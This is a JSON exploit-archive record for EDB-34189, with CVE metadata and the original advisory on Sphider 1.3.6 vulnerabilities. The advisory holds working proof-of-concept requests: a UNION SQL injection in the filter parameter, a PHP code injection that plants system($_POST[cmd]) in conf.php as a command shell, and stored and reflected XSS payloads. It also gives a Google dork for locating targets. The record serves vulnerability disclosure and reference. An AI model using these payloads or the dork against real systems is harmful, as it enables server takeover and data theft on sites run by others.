{"exploit":{"id":"EDB-34189","name":"Sphider Search Engine 1.3.6 - SQL Injection (SQLi) / PHP Code Injection / Cross-Site Scripting (XSS)","description":"Sphider Search Engine 1.3.6 - SQL Injection (SQLi) / PHP Code Injection / Cross-Site Scripting (XSS)","cves":["CVE-2014-5194","CVE-2014-5193","CVE-2014-5192","CVE-2014-5082"],"author":"Mike Manzotti","published":"2014-07-28","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/34189","path":"exploits/php/webapps/34189.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-34189.txt","vulnerabilities":[{"id":"CVE-2014-5194","state":"PUBLISHED","title":null,"titleSource":null,"description":"Static code injection vulnerability in admin/admin.php in Sphider 1.3.6 allows remote authenticated users to inject arbitrary PHP code into settings/conf.php via the _word_upper_bound parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-5194","cvss":{"version":"2.0","baseScore":6.5,"severity":"medium","vectorString":"AV:N/AC:L/Au:S/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-5194"},"updatedAt":"2024-08-06T11:34:37.497Z","retrievedAt":"2026-11-27T09:08:50.963Z","stale":false,"error":null},{"id":"CVE-2014-5193","state":"PUBLISHED","title":null,"titleSource":null,"description":"Cross-site scripting (XSS) vulnerability in admin/admin.php in Sphider 1.3.6 allows remote attackers to inject arbitrary web script or HTML via the category parameter. NOTE: the url parameter vector is already covered by CVE-2014-5082.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-5193","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-5193"},"updatedAt":"2024-08-06T11:34:37.623Z","retrievedAt":"2026-11-27T09:08:44.670Z","stale":false,"error":null},{"id":"CVE-2014-5192","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in admin/admin.php in Sphider 1.3.6 allows remote attackers to execute arbitrary SQL commands via the filter parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-5192","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-5192"},"updatedAt":"2024-08-06T11:34:37.536Z","retrievedAt":"2026-11-27T09:29:19.088Z","stale":false,"error":null},{"id":"CVE-2014-5082","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in admin/admin.php in Sphider 1.3.6 and earlier, Sphider Pro, and Sphider-plus allow remote attackers to execute arbitrary SQL commands via the (1) site_id or (2) url parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-5082","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-5082"},"updatedAt":"2024-08-06T11:34:37.206Z","retrievedAt":"2026-11-27T09:29:12.516Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-34189.png?v=2","url":"https://exploitbin.com/exploits/EDB-34189","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-34189/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-34189/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Sphider 1.3.6 or later SQL Injection\n# Google Dork: intitle:\"Sphider Admin Login\"\n# Date: 1 July 2014\n# Exploit Author: Mike Manzotti\n# Vendor Homepage: http://www.sphider.eu/\n# Software Link: http://www.sphider.eu/sphider-1.3.6.zip\n# Version: v 1.3.6\n\nDescription:\nThe web application is vulnerable to SQLi. Once a website has been indexed with Sphider, an attacker can inject SQL under Sites -> Browser pages-> filter option.\n\nProof of Concept:\nResponse: POST: /admin/admin.php\nper_page=10&filter='union+select+1,@@version+;#&start=1&site_id=1&f=21\n\nResponse:\n<tr class=\"grey\">\n<td><a href=\"5.5.35-0+wheezy1\">5.5.35-0+wheezy1</a></td>\n<td width=\"8%\">\n[cid:image001.jpg@01CFAA73.0B6B8330]\n\n\n\n# Exploit Title: Sphider 1.3.6 or later PHP Injection\n\nDescription:\nAn authenticated user can inject PHP code in configuration settings. This would allow an attacker to take full control of the server. Note that in v1.3.5 authentication can be bypassed. Also note that this issue depends on permissions of \"conf.php file\". However during the installation the user is advised to change the permissions of \"conf.php\" file to chmod 666.\n\nProof of Concept:\nRequest: POST /admin/admin.php\nf=settings&Submit=1&_version_nr=1.3.5&_language=en&_template=standard&_admin_email=admin%40localhost&_print_results=1&_tmp_dir=tmp&_log_dir=log&_log_format=html&_min_words_per_page=10&_min_word_length=3&_word_upper_bound=100;system($_POST[cmd])&_index_numbers=1&_index_meta_keywords=1&_pdftotext_path=c%3A%5Ctemp%5Cpdftotext.exe&_catdoc_path=c%3A%5Ctemp%5Ccatdoc.exe&_xls2csv_path=c%3A%5Ctemp%5Cxls2csv&_catppt_path=c%3A%5Ctemp%5Ccatppt&_user_agent=Sphider&_min_delay=0&_strip_sessids=1&_results_per_page=10&_cat_columns=2&_bound_search_result=0&_length_of_link_desc=0&_links_to_next=9&_show_meta_description=1&_show_query_scores=1&_show_categories=1&_desc_length=250&_did_you_mean_enabled=1&_suggest_enabled=1&_suggest_history=1&_suggest_rows=10&_title_weight=20&_domain_weight=60&_path_weight=10&_meta_weight=5\n\n\"system($_POST[cmd])\" has been injected.\n\nRequest: POST http://URL/sphider/settings/conf.php\ncmd=pwd\n\nResponse:\n/var/www/sphider/settings\n\n\n# Exploit Title: Sphider 1.3.6 or later Stored and Reflected XSS\n\nDescription:\nThe web application is prone to Stored and Reflected Cross site scripting.\n\nStored XSS:\nRequest: POST /admin/admin.php\nf=7&parent=&category=<script>alert(document.cookie)</script>\n\nResponse\n<a href=\"admin.php?f=edit_cat&cat_id=1\">\n<script>alert(document.cookie)\n</script>\n</a>\n\nReflected XSS:\n\nRequest: POST /sphider/admin/admin.php\nf=index&adv=1&url=\"/><script>alert(document.cookie)</script>\n\nResponse:\n<a href=\"admin.php?f=edit_cat&cat_id=1\">\n<script>alert(document.cookie)\n</script>\n</a>\n\n\nSolution:\nCurrently none. The author has been informed.\n\nTimeline:\n1 July 2014: The author has been informed\n28 July 2014: Vulnerability published","sha256":"55675404e7ce2dab96c15aace26156f95da980eebecff7b23d90c3be99e7dd17","bytes":2867,"fetchedAt":"2026-11-27T09:08:42.774Z","encoding":"utf-8 (display only; download retains original bytes)"}